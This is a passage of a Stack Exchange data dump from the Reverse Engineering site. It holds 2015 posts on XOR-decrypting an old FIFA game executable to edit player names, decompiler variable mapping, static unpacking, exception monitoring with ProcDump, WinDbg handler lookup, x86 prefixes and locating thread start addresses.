Starting one position further, no success, but 2 positions further on I noticed this piece of data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;890C0 : B.@.L.@^W.@.a.@^l.@.v.@^..@...@ @ @ @ @ @ @ @~FIFA International&#xA;89100 :  Soccer@ @PC Version by@~The Creative Assembly@ @~Lead Programme&#xA;89140 : r@ @Tim Ansell@ @ @ @~Programmers@ @Adrian Panton@Clive Gratton@&#xA;89180 :  @ @~Lead Artist@ @Will Hallsworth@ @ @ @~Additional Artwork@ @A&#xA;891C0 : lan Ansell@ @ @ @~Original Music@Composed, Produced@and Performe&#xA;89200 : d by@Ray Deefholts@for ~HFC Music@ @Additional Drum@Programming &#xA;89240 : and@Assistance@ @Tim Ansell@ @~Sound Effects@ @Bill Lusty@ @ @ @&#xA;89280 : ~Producer@ @Kevin Buckner@ @ @ @~Associate Producer@ @Nick Golds&#xA;(etc.)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That was the proof I needed: the data section &lt;em&gt;does&lt;/em&gt; use the same XOR key. Next: testing all possibilities from 0 to 31 and see if something turns up. Only at +30 that turned out to work, just as I was going to give up:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;782C0 : ..@...@,..@..Algeria@Ali Mehdaoui Igail@Mohammed Said@Abdel Dahb&#xA;78300 : i@Hamid Ahkmar@Nagar Baltuni@Omar Mahjabi@Ali Cherif@Hamar Mahbo&#xA;78340 : ud@Khered Adjali@Imahd Tasfarouk@Alamar Sahid@Mahmar Ahboud@Akha&#xA;78380 : r Binnet@Mouhrad Dahlib@Mahied Amruk@Lakhar Diziri@Amaar Azir@Mu&#xA;783C0 : stafa Farai@Akmar Bahoud@Ahmad Said@Taraki Aziz@Argentina@Alfio &#xA;(etc.)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So each individual section in the executable is encrypted with a 32-byte XOR key; this XOR key is the same for all &lt;em&gt;sections&lt;/em&gt;; it starts a-new per section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The C program below will decrypt the entire file and you have to adjust the starting position manually. To edit the file, you have to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Read up on PharLap's sections.&lt;/li&gt;&#xA;&lt;li&gt;Decrypt each section individually.&lt;/li&gt;&#xA;&lt;li&gt;Write all into a new file.&lt;/li&gt;&#xA;&lt;li&gt;Adjust what you want.&lt;/li&gt;&#xA;&lt;li&gt;Encrypt the sections again (it's a XOR key, so this uses the exact same algorithm).&lt;/li&gt;&#xA;&lt;li&gt;Copy the encrypted file back into the main executable.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;A note on #4: you mentioned changing the names of the players. Since it's a zero-terminated list of names, you can assume there is a list of pointers &lt;em&gt;to&lt;/em&gt; these names somewhere else. That means you can only change the individual &lt;em&gt;characters&lt;/em&gt; of a name -- not make it longer. If you want to adjust all names freely, you must find the list of pointers and adjust that as well.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;(Preliminary updates)&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The XOR encoding does not use sections. Instead, it seems like every block starts with a word determining its length, and possibly 1 or 2 next words (possibly (again) to set the XOR key starting position). Not conclusive so far.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Executables are &lt;em&gt;abundant&lt;/em&gt; with zeroes. If you count the number of zeroes in each 32-byte chunk, XORed against all 32 possible positions, and print out the XOR position with the highest number of them, you can see successive lists of the same 'best' guess. That shows there are longer and shorter sections XORed with the same key and may help determining the length algorithm.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;&#xA;unsigned char encrypt[32] = {&#xA;    0x23, 0x91, 0xC8, 0xE4, 0x72, 0x39, 0x9C, 0xCE,&#xA;    0x67, 0x33, 0x99, 0xCC, 0xE6, 0x73, 0xB9, 0x5C,&#xA;    0x2E, 0x17, 0x8B, 0x45, 0xA2, 0x51, 0xA8, 0x54,&#xA;    0x2A, 0x95, 0xCA, 0x65, 0x32, 0x19, 0x8C, 0x46&#xA;};&#xA;&#xA;int main(int argc, char *argv[])&#xA;{&#xA;    FILE *f;&#xA;    int i, c, d = 0;&#xA;&#xA;    f = fopen (&quot;../Downloads/fifa/fifa.exe&quot;, &quot;rb&quot;);&#xA;    if (!f)&#xA;    {&#xA;        printf (&quot;yeah no such file\n&quot;);&#xA;        return 0;&#xA;    }&#xA;&#xA;    /* reasonable assumption for start: */&#xA;    fseek (f, 0x1aa0, SEEK_SET);&#xA;    /* adjust per section! this position is valid for the names only */&#xA;    fseek (f, 30, SEEK_CUR);&#xA;    c = 0;&#xA;    printf (&quot;%05X : &quot;, d);&#xA;    do&#xA;    {&#xA;        d++;&#xA;        i = fgetc (f);&#xA;        if (i == EOF) break;&#xA;        i ^= encrypt[c &amp;amp; 31];&#xA;        if (i &amp;gt;= ' ' &amp;amp;&amp;amp; i &amp;lt;= '~') putchar (i); else if (i) putchar ('.'); else putchar ('@');&#xA;        if (++c &amp;gt;= 64)&#xA;        {&#xA;            c = 0;&#xA;            printf (&quot;\n&quot;);&#xA;            printf (&quot;%05X : &quot;, d);&#xA;        }&#xA;    } while (d &amp;lt; 0x95851);&#xA;    fclose (f);&#xA;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2959" LastEditorUserId="2959" LastEditDate="2015-03-08T02:34:06.017" LastActivityDate="2015-03-08T02:34:06.017" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8410" PostTypeId="1" AcceptedAnswerId="8411" CreationDate="2015-03-07T15:15:35.507" Score="0" ViewCount="761" Body="&lt;p&gt;Well, I've got an function that the pseudo code looks like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void d4l_auxadc_cali_unlocked_ioctl()&#xA;{&#xA;  unsigned int v0; // r1@1&#xA;  unsigned int v1; // r7@1&#xA;  ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I am aware that the definition of the function is as follow:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int d4l_auxadc_cali_unlocked_ioctl(void* a1, unsigned long a2, unsigned long a3)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I tell the decompiler what I know by using the &quot;Set Item Type&quot;, and here is what I got:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __fastcall d4l_auxadc_cali_unlocked_ioctl(void *a1, unsigned __int32 a2, unsigned __int32 a3)&#xA;{&#xA;  unsigned int v3; // r1@1&#xA;  unsigned int v4; // r7@1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is, the local variable &quot;v3&quot; is actually as same as the function argument &quot;a2&quot;, but the decompiler failed to connect them together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to map &quot;v3&quot; to &quot;a2&quot; by using &quot;Map to another variable&quot;, but I am only allow to do the mapping with &quot;v4&quot;, &quot;v5&quot; ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do now ... ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And BTW, does anyone know the meaning of &quot;@1&quot; as a part of &quot;r1@1&quot; ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The head of assembly codes is as follow. It seems that none of them modify the r1 register, so I don't know why the compile chooses to create a different variable.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ROM:C04C54E8                 MOV             R12, SP&#xA;ROM:C04C54EC                 STMFD           SP!, {R4-R7,R11,R12,LR,PC}&#xA;ROM:C04C54F0                 SUB             R11, R12, #4&#xA;ROM:C04C54F4                 STR             LR, [SP,#0x1C+var_20]!&#xA;ROM:C04C54F8 ; 25:   d4l___gnu_mcount_nc();&#xA;ROM:C04C54F8                 BL              d4l___gnu_mcount_nc&#xA;ROM:C04C54FC ; 28:   d4l_mutex_lock(&amp;amp;unk_C0D661A4);&#xA;ROM:C04C54FC                 LDR             R0, =unk_C0D661A4 ; void *&#xA;                             //So far, none of the codes have modified r1, so why the compiler chooses to create a v3 ?&#xA;ROM:C04C5500 ; 26:   v4 = v3;&#xA;ROM:C04C5500                 MOV             R7, R1&#xA;ROM:C04C5504 ; 27:   v6 = v5;&#xA;ROM:C04C5504                 MOV             R4, R2&#xA;ROM:C04C5508                 BL              d4l_mutex_lock&#xA;                             //Note that d4l_mutex_lock only takes one argument.&#xA;ROM:C04C550C ; 29:   if ( v4 == 1074031362 )&#xA;ROM:C04C550C                 LDR             R3, =0x40046B02&#xA;ROM:C04C5510                 LDR             R6, =unk_C0D661A4&#xA;ROM:C04C5514                 CMP             R7, R3&#xA;ROM:C04C5518                 LDR             R5, =0xC0E748B4&#xA;ROM:C04C551C                 BEQ             loc_C04C55EC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11924" LastEditorDisplayName="user11826" LastEditDate="2015-03-09T09:53:27.420" LastActivityDate="2015-03-09T09:53:27.420" Title="How to map a function argument to local variable?" Tags="|arm|hexrays|local-variables|arguments|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8411" PostTypeId="2" ParentId="8410" CreationDate="2015-03-07T19:31:40.900" Score="0" Body="&lt;p&gt;The @1 part should be the instruction number within the assembly where the variable is defined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the rest of your question, you'll probably have to look at the assembly code. r1 is the register to pass the second argument on an ARM processor all right, but a function call doesn't have to preserve its arguments, so the compiler is allowed to use r1 for something else once it doesn't need the argument (a2) anymore. I'd assume the assembly modifies r1 somewhere, which makes it different from a2, so the decompiler chooses to create a different variable name for it instead of producing a (possibly confusing) assignment to a2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your function calls other functions, it will even need to overwrite r0..r3 (depending on the number of arguments to that function), so most code i've seen saves the arguments to the stack, or some other register. If your r1 doesn't get saved anywhere (because it's just needed at the start of your function and never again), this might be the reason why the decompiler doesn't want to assign a variable name, as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get a definite answer, i think you'd have to ask your question on the hex-rays forum and include the disassembled code, they tend to have excellent support there.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-03-07T19:31:40.900" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8412" PostTypeId="1" CreationDate="2015-03-07T20:25:46.143" Score="-1" ViewCount="731" Body="&lt;p&gt;I want to implement a generic, static unpacker that can statically unpack files that have been packed with unknown packers.&#xA;In fact, I want it to be able to unpack packers which I just think of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot for your help.&lt;/p&gt;&#xA;" OwnerUserId="11927" LastEditorUserId="4750" LastEditDate="2015-03-08T06:54:06.590" LastActivityDate="2015-03-08T06:54:06.590" Title="How can I statically unpack a file packed with an unknown packer without executing it?" Tags="|static-analysis|unpacking|decryption|packers|decompress|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8414" PostTypeId="2" ParentId="8412" CreationDate="2015-03-07T22:51:55.133" Score="4" Body="&lt;p&gt;You can't. You don't know how the file is packed, the only thing you have is the unpacking code in the file. You could try running the file through an emulator like QEMU, so the unpacking takes place in the emulator, not in the &quot;physical&quot; computer. However, that still executes the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And you'll have the problem that you don't know when you reach the end of the unpacker start the original program - there's no way to tell unless you have several different executables which are packed with an identical packer and check where they start behaving differently. (And even then, they might be encrypted with different keys, so your programs will behave differently when they retrieve the key).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can't even know if the unpacker unpacks everything at once, or only the main program, and unpacks the rest of the program on the fly when it's being used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Believe me, many people would already have implemented this if it was possible.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-03-07T22:51:55.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8415" PostTypeId="1" AcceptedAnswerId="8418" CreationDate="2015-03-08T11:21:44.690" Score="0" ViewCount="556" Body="&lt;p&gt;Using tools like strace I can figure out the signals a program receives as it executes, regardless of whether or not signal handlers for those signals have been defined.&lt;/p&gt;&#xA;&lt;p&gt;[EDIT]&#xA;In order to do the same on Windows I'm following what's mentioned &lt;a href=&quot;https://docs.microsoft.com/en-us/archive/blogs/dau-blog/how-to-capture-exceptions-in-process-monitor-traces-using-pocdump&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. I tested it by having a test process sleep at the start for about 20 seconds, then crash by jumping to 0x41414141. As it sleeps I attach procdump.exe to the process and then monitor the exceptions in procmon.exe. Is there a way I can do this without the sleep? I tried running it from OllyDbg and then attaching procdump.exe but the message would say that the process is already being debugged.&lt;/p&gt;&#xA;&lt;p&gt;Any advice on how I could proceed?&lt;/p&gt;&#xA;" OwnerDisplayName="user1743" LastEditorUserId="13506" LastEditorDisplayName="user1743" LastEditDate="2021-01-02T21:52:24.760" LastActivityDate="2021-01-02T21:52:24.760" Title="Monitoring Exceptions raised by an executable" Tags="|windows|linux|seh|exception|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="8418" PostTypeId="2" ParentId="8415" CreationDate="2015-03-08T17:49:22.027" Score="0" Body="&lt;p&gt;You can just use the &lt;code&gt;-x&lt;/code&gt; command line argument for &lt;a href=&quot;https://technet.microsoft.com/en-us/sysinternals/dd996900.aspx&quot; rel=&quot;nofollow&quot;&gt;ProcDump&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;-x&lt;/code&gt;  Launch the specified image with optional arguments. If it is a Store Application or Package, ProcDump will start on the next&#xA;  activation (only).&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;...&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Launch a process and then monitor it for exceptions:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;C:\&amp;gt;procdump -e 1 -f &quot;&quot; -x c:\dumps consume.exe&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-03-08T17:49:22.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8419" PostTypeId="2" ParentId="8401" CreationDate="2015-03-08T19:56:42.653" Score="2" Body="&lt;p&gt;_LdrpVectorHandlerList seems to be undocumented and may also be not available in xp    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I couldn't even land a half semi authentic googley about its inner workings   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;what little i could find about _LdrpVectorHandlerList seems to point that it is an EncodedPointer and not the actual handler &lt;/p&gt;&#xA;&#xA;&lt;p&gt;DecodePointer is per process and executing DecodePointer in a debugger (with plugins / extensions etc) will not Decode the Debuggees  EncodedPointer one can read process memory to get the debuggees EncodedPointer HandlerList.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ollydbg 1.10 was prior to the exisitance of VEH so it knows only about SEH in view-&gt;SEH chain window&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ollydbg 2.01 will show the encoded pointer link and not the actual handler  in view-&gt;seh chain window as pasted below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;VEH/SEH chain of main thread&#xA;Index  Type                       Link                        Handler&#xA;1      Vectored                   00153848                    Invalid&#xA;2      Vectored                   001537F8                    Invalid&#xA;3      Vectored                   00153820                    Invalid&#xA;4      SEH                        0013FF60                    00401880 _except_handler4&#xA;5      SEH                        0013FFB0                    00401880 _except_handler4&#xA;6      SEH                        0013FFE0                    7C839AD8 _except_handler3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to find actual veh handlers i crafted a bat file that uses windbg's local kernel debugging &#xA;(used in xp sp3 only not sure if this still holds in newer os)  you may check it out &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:type c:\findveh.bat&#xA;kd -kl -c &quot;$$&amp;gt;a&amp;lt; c:\findveh.txt %1 ;q&quot; | findstr /I eval&#xA;&#xA;:type c:\findveh.txt&#xA;.foreach /pS 1 /ps 200 (place { !process 0 0 ${$arg1} } ) {.process /p /r place}&#xA;!list -t ntdll!_SINGLE_LIST_ENTRY.Next -x &quot;? poi( @$extret+8 ) ^ @@(@$proc-&amp;gt;Cookie)&quot; @@masm(ntdll!RtlpCalloutEntryList);&#xA;!list -t ntdll!_SINGLE_LIST_ENTRY.Next -x &quot;? poi( @$extret)&quot; @@masm(ntdll!RtlpCalloutEntryList);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;output of bat file ( the second !list command added just to show the linked EncodedPointers  for comparison it is not required)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;explanation of script &lt;/p&gt;&#xA;&#xA;&lt;p&gt;set process context of relevent process for which we want to find veh handlers&#xA;traverse the SINGLE_LIST_ENTRY and print the actual handlers by xorring the EncodedPointer&#xA;with the specific ProcessCookie&lt;/p&gt;&#xA;&#xA;&lt;p&gt;code for veh.exe is copy paste of msdn documentation sample using veh handlers&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:findveh.bat veh.exe&#xA;&#xA;:kd -kl -c &quot;$$&amp;gt;a&amp;lt; c:\findveh.txt veh.exe ;q&quot;   | findstr /I eval&#xA;Evaluate expression: -169753474 = f5e1c47e&#xA;Evaluate expression: -4290768896 = ffffffff`00401000&#xA;Evaluate expression: -4290768848 = ffffffff`00401030&#xA;Evaluate expression: -4290768800 = ffffffff`00401060&#xA;Evaluate expression: 1390664 = 00153848&#xA;Evaluate expression: 1390584 = 001537f8&#xA;Evaluate expression: 1390624 = 00153820&#xA;Evaluate expression: 2090329024 = 7c97e3c0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2015-03-08T19:56:42.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8421" PostTypeId="1" CreationDate="2015-03-09T04:08:26.990" Score="2" ViewCount="328" Body="&lt;p&gt;It is about debugging some executable by using Zynamics BinNavi 5.0. And there's no problem if I want to start debugging without any command line parameters (i.e. &quot;my.exe&quot;), but I cannot find a way to start debugging with command line parameters/switches (i.e. &quot;my.exe --do&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would appreciate any help...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="11882" LastActivityDate="2018-06-10T02:13:42.777" Title="BinNavi Debugging Executable with Arguments" Tags="|debugging|debuggers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8422" PostTypeId="1" AcceptedAnswerId="8426" CreationDate="2015-03-09T09:45:01.020" Score="2" ViewCount="4204" Body="&lt;p&gt;How do I go into the thread function (so I can do step by step tracing), knowing only the handle to the thread. I am using OllyDbg for tracing and the thread is created through the API &lt;code&gt;ZwCreateProcess()&lt;/code&gt;. However, the documentation that I have seen for this API does not contain the creation flags and pointer to the defined function which it will execute, which I both need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to go into the thread function, knowing only the thread handle? Also, are there other ways to create suspended threads aside from &lt;code&gt;CreateThread()&lt;/code&gt; and &lt;code&gt;CreateRemoteThread()&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="8336" LastEditorUserId="8336" LastEditDate="2015-03-10T05:59:30.007" LastActivityDate="2015-03-11T21:47:02.683" Title="How to go into thread function knowing only the thread handle" Tags="|ollydbg|debugging|thread|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8425" PostTypeId="1" AcceptedAnswerId="8427" CreationDate="2015-03-09T14:50:01.407" Score="1" ViewCount="1224" Body="&lt;p&gt;I read the recent article &quot;Longest x86 Instruction&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blog.onlinedisassembler.com/blog/?p=23&quot; rel=&quot;nofollow&quot;&gt;http://blog.onlinedisassembler.com/blog/?p=23&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I attempted to reproduce the curious disassembly issue on a Win7x86 development platform using masm and as the article suggested, redunant prefixes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Talk is cheap, so here's a toy program (masm32):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.386 .model flat, stdcall&#xA;&#xA;option casemap:none&#xA;&#xA;includelib \x\x\kernel32.lib&#xA;includelib \x\x\user32.lib&#xA;&#xA;include \x\x\kernel32.inc&#xA;include \x\x\user32.inc&#xA;include \x\x\windows.inc&#xA;&#xA;.code&#xA;&#xA;start:&#xA;&#xA;db 0F3h&#xA;db 0F3h&#xA;db 0F3h&#xA;db 0F3h&#xA;db 0F3h&#xA;db 0F3h&#xA;db 0F3h&#xA;;...6 more bytes later&#xA;db 089h&#xA;db 0E5h&#xA;&#xA;end start&#xA;&#xA;invoke ExitProcess, NULL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After linking and assembling, I opened the resulting executable in windbg. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To my disappointment, when I single step, unassemble the $exentry, etc. windbg simply sees the prefixes/bytes as individual instructions, says 'to hell with it' and executes only the valid instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something I'm missing?&lt;/p&gt;&#xA;" OwnerUserId="10058" LastActivityDate="2015-03-09T17:10:45.417" Title="Longest x86 Instruction" Tags="|disassembly|assembly|windbg|" AnswerCount="1" CommentCount="5" ClosedDate="2015-03-11T20:21:31.843" ContentLicense="CC BY-SA 3.0" />
  <row Id="8426" PostTypeId="2" ParentId="8422" CreationDate="2015-03-09T15:42:43.503" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there a way to go into the thread function, knowing only the thread&#xA;  handle?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, it's a 2-step process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 1 - Convert the thread handle to a thread ID&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;a href=&quot;https://technet.microsoft.com/en-us/sysinternals/bb896653.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;Process Explorer&lt;/a&gt;'s menu bar, check the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;View&lt;/em&gt; → &lt;em&gt;Show Lower Pane&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;View&lt;/em&gt; → &lt;em&gt;Lower Pane View&lt;/em&gt; → &lt;em&gt;Handles&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;View&lt;/em&gt; → &lt;em&gt;Select Columns...&lt;/em&gt; → &lt;em&gt;Handle&lt;/em&gt; tab → check all checkboxes&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Next, select your target process in Process Explorer's list of processes. You'll then see in the lower pane the list of handles for that process, including thread handles. Find the thread ID associated with your target handle. For the example below, thread handle &lt;code&gt;0x228&lt;/code&gt; is associated with thread ID &lt;code&gt;3000&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mddAT.png&quot; alt=&quot;Handle to ID&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though handle values are shown in hexadecimal in Process Explorer, thread IDs are shown in decimal. Thus thread ID &lt;code&gt;3000&lt;/code&gt; in decimal is equal to thread ID &lt;code&gt;0xBB8&lt;/code&gt; in hexadecimal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 2 - Find EIP for the thread ID&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In OllyDbg's menu bar, select &lt;em&gt;View&lt;/em&gt; → &lt;em&gt;Threads&lt;/em&gt;. Right-click on the thread whose &lt;em&gt;Ident&lt;/em&gt; corresponds to the thread ID you found in Step 1 (&lt;code&gt;0xBB8&lt;/code&gt; in the example below), and select &lt;em&gt;Show registers&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YC5Hk.png&quot; alt=&quot;Threads&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will show you the current &lt;code&gt;EIP&lt;/code&gt; for that thread, which is the next instruction to be executed once that thread is resumed:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iKgc4.png&quot; alt=&quot;Registers&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Alternative&lt;/em&gt; Step 2 - Find EIP for the thread ID&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the target thread was created in a suspended state and not yet resumed then the thread won't show up in OllyDbg's thread window. In this case, you can use &lt;a href=&quot;https://technet.microsoft.com/en-us/sysinternals/bb897415.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;LiveKd&lt;/a&gt; to find the thread's starting address by issuing the LiveKd command &lt;code&gt;!thread -t &amp;lt;thread ID in hexadecimal&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; !thread -t BB8&#xA;Cid handle table at 88e01108 with 944 entries in use&#xA;&#xA;THREAD 86B4E548  Cid 169c.0bb8  Teb: 7ffdb000 Win32Thread: 00000000 WAIT: (Suspended) KernelMode Non-Alertable&#xA;SuspendCount 1&#xA;FreezeCount 1&#xA;    86b4ec28  Semaphore Limit 0x2&#xA;Not impersonating&#xA;DeviceMap                 9a70f9e8&#xA;Owning Process            86b4cd40       Image:         wordpad.exe&#xA;Attached Process          N/A            Image:         N/A&#xA;Wait Start TickCount      21829348       Ticks: 1299 (0:00:00:20.264)&#xA;Context Switch Count      1              IdealProcessor: 0&#xA;UserTime                  00:00:00.000&#xA;KernelTime                00:00:00.000&#xA;Win32 Start Address 0x002cb23d&#xA;Stack Init 8b777ed0 Current 8b777a40 Base 8b778000 Limit 8b775000 Call 0&#xA;Priority 8 BasePriority 8 UnusualBoost 0 ForegroundBoost 0 IoPriority 2 PagePriority 5&#xA;ChildEBP RetAddr  Args to Child&#xA;8b777a58 82a88d3d 85807a60 00000000 82b35d20 nt!KiSwapContext+0x26 (FPO: [Uses EBP] [0,0,4])&#xA;8b777a90 82a87b9b 85807b20 85807a60 85807c28 nt!KiSwapThread+0x266&#xA;8b777ab8 82a8158f 85807a60 85807b20 00000000 nt!KiCommitThreadWait+0x1df&#xA;8b777b34 82abbfd9 85807c28 00000005 00000000 nt!KeWaitForSingleObject+0x393&#xA;8b777b4c 82abbaf4 00000000 00000000 00000000 nt!KiSuspendThread+0x18 (FPO: [3,0,0])&#xA;8b777b90 82e2390f 00000000 00000000 00000000 nt!KiDeliverApc+0x17f&#xA;8b777bb0 82e23b29 00000001 00000000 00000000 hal!HalpDispatchSoftwareInterrupt+0x49 (FPO: [Non-Fpo])&#xA;8b777bc8 82e23ba9 00000000 00000000 8b777c20 hal!HalpCheckForSoftwareInterrupt+0x83 (FPO: [Non-Fpo])&#xA;8b777bd8 82c6450d b553bcc6 00000000 00000000 hal!KfLowerIrql+0x61 (FPO: [Non-Fpo])&#xA;8b777c20 82abb559 00000000 778870d8 00000001 nt!PspUserThreadStartup+0x14&#xA;00000000 00000000 00000000 00000000 00000000 nt!KiThreadStartup+0x19&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see &lt;code&gt;Win32 Start Address 0x002cb23d&lt;/code&gt; in the output above, which is the starting address for the suspended thread.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Also, are there other ways to create suspended threads aside from&#xA;  &lt;code&gt;CreateThread()&lt;/code&gt; and &lt;code&gt;CreateRemoteThread()&lt;/code&gt;?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, you can call &lt;a href=&quot;http://undocumented.ntinternals.net/source/usermode/undocumented%20functions/nt%20objects/thread/ntcreatethread.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;ntdll!NtCreateThread()&lt;/code&gt;&lt;/a&gt; or &lt;code&gt;ntdll!NtCreateThreadEx()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2015-03-10T13:34:25.973" LastActivityDate="2015-03-10T13:34:25.973" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
